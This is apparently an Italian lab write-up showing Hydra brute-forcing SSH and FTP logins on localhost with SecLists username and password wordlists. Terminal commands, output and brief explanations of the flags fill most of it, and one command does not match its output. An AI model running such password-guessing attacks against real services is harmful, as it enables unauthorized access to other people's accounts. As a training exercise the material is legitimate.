

```

kali@kali:~$ hydra -l test_user -p testpass 127.0.0.1 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these
ics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:19:04
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1:1/p:1), -1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 09:19:14

```

Abbiamo quest'oggi utilizzato il comando hydra che è usato per il cracking delle password.

Come possiamo ben notare da screen usiamo : hydra -l test_user -p testpass 127.0.0.1 -t 4 ssh

Il che sta a significare:

Con il comando -l gli stiamo passando l'username che dovrà utilizzare per provare l'accesso.

Con il comando -p gli stiamo passando la password che dovrà utilizzare per provare l'accesso.

ssh è il protocollo da utilizzare per l'accesso

```

kali@kali:~$ hydra -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt 127.0.0.1 -l 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these
ics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 08:59:51
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 62437000000 login tries (1:624370/p:100000), -1569220000 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "info" - pass "123456" - 1 of 62437000000 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "password" - 2 of 62437000000 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "12345678" - 3 of 62437000000 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "qwerty" - 4 of 62437000000 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "1234567890" - 5 of 62437000000 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "12345" - 6 of 62437000000 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "1234" - 7 of 62437000000 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "111111" - 8 of 62437000000 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "1234567" - 9 of 62437000000 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "dragon" - 10 of 62437000000 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "123123" - 11 of 62437000000 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "baseball" - 12 of 62437000000 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "abc123" - 13 of 62437000000 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "football" - 14 of 62437000000 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "monkey" - 15 of 62437000000 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "letmein" - 16 of 62437000000 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "569696" - 17 of 62437000000 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "shadow" - 18 of 62437000000 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "master" - 19 of 62437000000 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "666666" - 20 of 62437000000 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "qwertyuiop" - 21 of 62437000000 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "12321" - 22 of 62437000000 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "mustang" - 23 of 62437000000 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "1234567890" - 24 of 62437000000 [child 2] (0/0)

```

Poi siamo passati ad utilizzare il seguente comando:

hydra -L /usr/share/seclists/Username/xato-net-10-million-usernames-dup.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt 127.0.0.1 -t 4 ssh -V

Il che sta a significare:

Con il comando -L stiamo fornendo ad hydra una lista di username da provare

Con il comando -P stiamo fornendo ad hydra una lista di password da provare

Ssh è il protocollo da utilizzare per l'accesso

-V ci permette di vedere i tentativi in tempo reale.

```

kali@kali:~$ hydra -l test_user -p testpass ftp://127.0.0.1
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these
ics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 10:47:53
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1:1/p:1), -1 try per task
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 10:47:54

```

```

kali@kali:~$ hydra -L /usr/share/seclists/Username/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10.txt ftp://127.0.0.1
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these
ics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 10:53:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 196 login tries (1:16/p:11), -13 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1 login: test_user password: testpass

```

I due screen finali con cui abbiamo crackato la password del servizio ftp.